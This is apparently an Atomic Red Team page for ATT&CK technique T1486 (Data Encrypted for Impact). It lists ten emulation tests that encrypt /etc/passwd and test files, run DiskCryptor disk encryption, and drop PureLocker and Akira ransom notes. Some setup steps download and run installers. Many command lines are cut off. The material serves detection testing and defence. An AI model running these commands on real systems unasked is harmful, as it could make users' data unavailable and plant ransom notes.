T1486 - Data Encrypted for Impact

Description from ATT&CK

> Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)
> In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as File and Directory Permissions Modification or System Shutdown/Reboot, in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)

> To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also leverage Internal Defacement, such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as "print bombing").(Citation: NHS Digital Egregor Nov 2020)
>
> In cloud environments, storage objects within compromised accounts may also be encrypted. (Citation: Rhino S3 Ransomware Part 1)

Atomic Tests

- Atomic Test #1 - Encrypt files using gpg (FreeBSD/Linux)
- Atomic Test #2 - Encrypt files using 7z (FreeBSD/Linux)
- Atomic Test #3 - Encrypt files using ccrypt (FreeBSD/Linux)
- Atomic Test #4 - Encrypt files using openssl (FreeBSD/Linux)
- Atomic Test #5 - PureLocker Ransom Note
- Atomic Test #6 - Encrypt files using 7z utility - macOS
- Atomic Test #7 - Encrypt files using openssl utility - macOS
- Atomic Test #8 - Data Encrypted with GPG4Win
- Atomic Test #9 - Data Encrypt Using DiskCryptor
- Atomic Test #10 - Akira Ransomware drop Files with .akira Extension and Ransomnote

Atomic Test #1 - Encrypt files using gpg (FreeBSD/Linux)

Uses gpg to encrypt a file

Supported Platforms: Linux

auto_generated_guid: 7b8ce084-3922-4618-8d22-95f996173765

Inputs:

Name	Description	Type	Default Value
pwd_for_encrypted_file	the password that you want for the encrypted file	string	passwd
encrypted_file_path	path to the encrypted file	path	/tmp/passwd.gpg
input_file_path	path to the file that you want to encrypt	path	/etc/passwd
encryption_alg	encryption algorithm of the file	string	AES-256

Attack Commands: Run with `sh`!

```
echo "#{pwd_for_encrypted_file}" | $which_gpg --batch --yes --passphrase-fd 0 --ci
```

Cleanup Commands:

```
rm #{encrypted_file_path}
```

Dependencies: Run with `bash`!

Description: Finds where gpg is located

Check Prereq Commands:

```
which_gpg=`which gpg`
```

Get Prereq Commands:

```
(which pkg && pkg install -y gnupg)||(which yum && yum -y install epel-release gpg
```

Atomic Test #2 - Encrypt files using 7z (FreeBSD/Linux)

Uses 7z to encrypt a file

Supported Platforms: Linux

auto_generated_guid: 53e6735a-4727-44cc-b35b-237682a151ad

Inputs:

Name	Description	Type	Default Value
pwd_for_encrypted_file	the password that you want for the encrypted file	string	passwd
encrypted_file_path	path to the encrypted file	path	/tmp/passwd.zip
input_file_path	path to the file that you want to encrypt	path	/etc/passwd

Attack Commands: Run with `sh`!

```
$which_7z a -p#{pwd_for_encrypted_file} #{encrypted_file_path} #{input_file_path}
```

Cleanup Commands:

```
$which_7z e #{encrypted_file_path}
rm #{encrypted_file_path}
```

Dependencies: Run with `bash`!

Description: Finds where 7z is located

Check Prereq Commands:

```
which_7z=`which 7z`
```

Get Prereq Commands:

```
(which pkg && pkg install -y 7-zip)
```

Atomic Test #3 - Encrypt files using ccrypt (FreeBSD/Linux)

Attempts to encrypt data on target systems as root to simulate an interruption authentication to target system. If root permissions are not available then attempts to encrypt data within user's home directory.

Supported Platforms: Linux

auto_generated_guid: 08cbf59f-85da-4369-a5f4-049cffd7709f

Inputs:

Name	Description	Type	Default Value
cped_file_path	Path where you want your copied file to be	path	/tmp/passwd
root_input_file_path	Path the target file to be encrypted. File will be copied to /tmp/ before encrypting	path	/etc/passwd
pwd_for_encrypted_file	Password to use for encryption	string	passwd

Attack Commands: Run with `sh`!

```
which_ccencrypt=`which ccencrypt`
cp #{root_input_file_path} #{cped_file_path};
$which_ccencrypt -T -K #{pwd_for_encrypted_file} #{cped_file_path}
```

Cleanup Commands:

```
rm #{cped_file_path}.cpt
```

Dependencies: Run with `sh`!

Description: Finds where ccencrypt and ccdecrypt are located

Check Prereq Commands:

```
which_ccencrypt=`which ccencrypt`
which_ccdecrypt=`which ccdecrypt`
```

Get Prereq Commands:

```
(which pkg && pkg install -y ccript)||(which yum && yum -y install epel-release cc
```

Atomic Test #4 - Encrypt files using openssl (FreeBSD/Linux)

Uses openssl to encrypt a file

Supported Platforms: Linux

auto_generated_guid: 142752dc-ca71-443b-9359-cf6f497315f1

Inputs:

Name	Description	Type	Default Value
private_key_path	path to the private key	path	/tmp/key.pem
public_key_path	path to the public key	path	/tmp/pub.pem
encryption_bit_size	size of the bit of encryption	integer	2048
encrypted_file_path	path to the encrypted file	path	/tmp/passwd.zip
input_file_path	path to the file that you want to encrypt	path	/etc/passwd

Attack Commands: Run with `sh`!

```
which_openssl=`which openssl`
$which_openssl genrsa -out #{private_key_path} #{encryption_bit_size}
```

```
$which_openssl rsa -in #{private_key_path} -pubout -out #{public_key_path}
$which_openssl rsautl -encrypt -inkey #{public_key_path} -pubin -in #{input_file_pa
```

Cleanup Commands:

```
$which_openssl rsautl -decrypt -inkey #{private_key_path} -in #{encrypted_file_path
rm #{encrypted_file_path}
```

Dependencies: Run with `bash`!

Description: Finds where openssl is located

Check Prereq Commands:

```
which_openssl=`which openssl`
```

Get Prereq Commands:

```
```

Atomic Test #5 - PureLocker Ransom Note

building the IOC (YOUR_FILES.txt) for the PureLocker ransomware
https://www.bleepingcomputer.com/news/security/purelocker-ransomware-can-lock-files-on-windows-linux-and-macos/

Supported Platforms: Windows

auto_generated_guid: 649349c7-9abf-493b-a7a2-b1aa4d141528

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
echo T1486 - Purelocker Ransom Note > %USERPROFILE%\Desktop\YOUR_FILES.txt
```

Cleanup Commands:

```
del %USERPROFILE%\Desktop\YOUR_FILES.txt >nul 2>&1
```

Atomic Test #6 - Encrypt files using 7z utility - macOS

This test encrypts the file(s) using the 7z utility

Supported Platforms: macOS

auto_generated_guid: 645f0f5a-ef09-48d8-b9bc-f0e24c642d72

Inputs:

Name	Description	Type	Default Value
file_password	Password to be provided for archiving the file	string	ARTPass
encrypted_file_name	Name of the archive to be created	string	ARTArchive.7z
input_file_path	Path to the file that you want to encrypt	path	~/test.txt

Attack Commands: Run with `sh`!

```
7z a -p #{file_password} -mhe=on #{encrypted_file_name} #{input_file_path}
```

Cleanup Commands:

```
rm #{encrypted_file_name}
```

Dependencies: Run with `sh`!

Description: Check if 7z command exists on the machine

Check Prereq Commands:

```
which 7z
```

Get Prereq Commands:

```
echo Installing 7z, using brew
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD,
brew install p7zip
```

Atomic Test #7 - Encrypt files using openssl utility - macOS

This test encrypts the file(s) using the openssl utility

Supported Platforms: macOS

auto_generated_guid: 1a01f6b8-b1e8-418e-bbe3-78a6f822759e

Inputs:

Name	Description	Type	Default Value
encryption_option	Specifiy the required encryption option	string	-pbkdf2
input_file_path	Path to the file that you want to encrypt	path	~/test.txt
output_file_name	Path to the file that you want to encrypt	string	ARTFile

Attack Commands: Run with `sh`!

```
openssl enc #{encryption_option} -in #{input_file_path} -out #{output_file_name}
```

Cleanup Commands:

```
rm #{output_file_name}
```

Atomic Test #8 - Data Encrypted with GPG4Win

Gpg4win is a Windows tool (also called Kleopatra which is the preferred certificate manager) that uses email and file encryption packages for symmetric encryption. It is used by attackers to encrypt disks. User will need to add pass phrase to encrypt file as automation is not allowed under newer versions.

Supported Platforms: Windows

auto_generated_guid: 4541e2c2-33c8-44b1-be79-9161440f1718

Inputs:

Name	Description	Type	Default Value
GPG_Exe_Location	Path of the GPG program	path	C:\Program Files (x86)\GnuPG\bin\gpg.exe
File_to_Encrypt_Location	Path of File	path	$env:temp\test.txt

Attack Commands: Run with `powershell`!

```
cmd /c '#{GPG_Exe_Location}' -c '#{File_to_Encrypt_Location}'
```

Cleanup Commands:

```
remove-item '#{File_to_Encrypt_Location}.gpg' -force -erroraction silentlycontinue
```

Dependencies: Run with `powershell`!

Description: GPG must exist at (#{GPG_Exe_Location})

Check Prereq Commands:

```
if (test-path '#{GPG_Exe_Location}'){exit 0} else {exit 1}
```

Get Prereq Commands:

```
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ig
invoke-webrequest "https://files.gpg4win.org/gpg4win-4.1.0.exe" -outfile "PathToAt
cmd /c "PathToAtomicsFolder\..\ExternalPayloads\gpginstall.exe" /S
```

Atomic Test #9 - Data Encrypt Using DiskCryptor

DiskCryptor, an open source encryption utility, can be exploited by adversaries for encrypting all disk partitions, including system partitions. This tool was identified in a ransomware campaign, as reported on https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/. The documentation for DiskCryptor can be found at https://github.com/DavidXanatos/DiskCryptor. During the installation process, running dcrypt.exe starts the encryption console. It's important to note that a system reboot is necessary as part of the installation.

Supported Platforms: Windows

auto_generated_guid: 44b68e11-9da2-4d45-a0d9-893dabd60f30

Inputs:

Name	Description	Type	Default Value
dcrypt_exe	The dcrypt.exe executable from dcrypt_setup.exe	path	dcrypt.exe

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
""%PROGRAMFILES%\dcrypt"\#{dcrypt_exe}"
```

Dependencies: Run with `powershell`!

Description: dcrypt_setup will be installed at specified location (#{dcrypt_exe})

Check Prereq Commands:

```
if (Test-Path "${env:ProgramFiles}/dcrypt/#{dcrypt_exe}") {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Write-Host Downloading DiskCryptor installer
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction I
Invoke-WebRequest "https://github.com/DavidXanatos/DiskCryptor/releases/download/1
Write-Host Install DiskCryptor
Start-Process "PathToAtomicsFolder\..\ExternalPayloads\dcrypt_setup_1.1.846.118.exe
```

Atomic Test #10 - Akira Ransomware drop Files with .akira Extension and Ransomnote

Dropping 100 files with random content and .akira File Extension and the Akira Ransomnote to c:\

Supported Platforms: Windows

auto_generated_guid: ab3f793f-2dcc-4da5-9c71-34988307263f

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
1..100 | ForEach-Object { $out = new-object byte[] 1073741; (new-object Random).Ne
echo "Hi friends" >> $env:Userprofile\Desktop\akira_readme.txt
echo "" >> $env:Userprofile\Desktop\akira_readme.txt
echo "Whatever who you are and what your title is if you' re reading this it means
echo "1. Dealing with us you will save A LOT due to we are not interested in ruini
echo "2. Paying us you save your TIME, MONEY, EFFORTS and be back on track within 
echo "3. The security report or the exclusive first-hand information that you will
echo "4. As for your data, if we fail to agree, we will try to sell personal infor
echo "Then all of this will be published in our blog -" >> $env:Userprofile\Deskto
echo "" >> $env:Userprofile\Desktop\akira_readme.txt
echo "https://akira.onion" >> $env:Userprofile\Desktop\akira_readme.txt
echo "" >> $env:Userprofile\Desktop\akira_readme.txt
echo "5. We're more than negotiable and will definitely find the way to settle thi
echo "" >> $env:Userprofile\Desktop\akira_readme.txt
echo "If you' re indeed interested in our assistance and the services we provide y
echo "" >> $env:Userprofile\Desktop\akira_readme.txt
```

```
echo "1. Install TOR Browser to get access to our chat room - https://www.torproje
echo "2. Paste this link – https://akira.onion" >> $env:Userprofile\Desktop\akira_r
echo "3. Use this code - - to log into our chat." >> $env:Userprofile\Desktop\akira
echo "" >> $env:Userprofile\Desktop\akira_readme.txt
echo "Keep in mind that the faster you will get in touch, the less damage we cause
```

Cleanup Commands:

```
del $env:Userprofile\Desktop\akira_readme.txt
del c:\test.*.akira
```